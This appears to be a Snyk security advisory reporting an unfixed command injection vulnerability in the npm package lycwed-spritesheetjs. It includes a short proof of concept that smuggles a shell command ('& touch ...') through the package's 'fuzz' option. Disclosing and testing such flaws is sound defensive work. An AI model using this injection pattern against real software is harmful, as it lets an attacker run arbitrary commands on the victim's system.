Command Injection Affecting lycwed-spritesheetjs package, versions *
Snyk CVSS
Attack Complexity
Low
Threat Intelligence
Exploit Maturity
Proof of concept
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Test your applications- Snyk ID SNYK-JS-LYCWEDSPRITESHEETJS-1050428
- published 21 Jan 2021
- disclosed 11 Dec 2020
- credit JHU System Security Lab
How to fix?
There is no fixed version for lycwed-spritesheetjs.
Overview
lycwed-spritesheetjs is a command-line spritesheet (a.k.a. Texture Atlas) generator written in Node.js.
Affected versions of this package are vulnerable to Command Injection.
PoC
var spritesheet = require("lycwed-spritesheetjs");
spritesheet("./", {fuzz:"& touch 111233 #", ext: "json" }, function() {});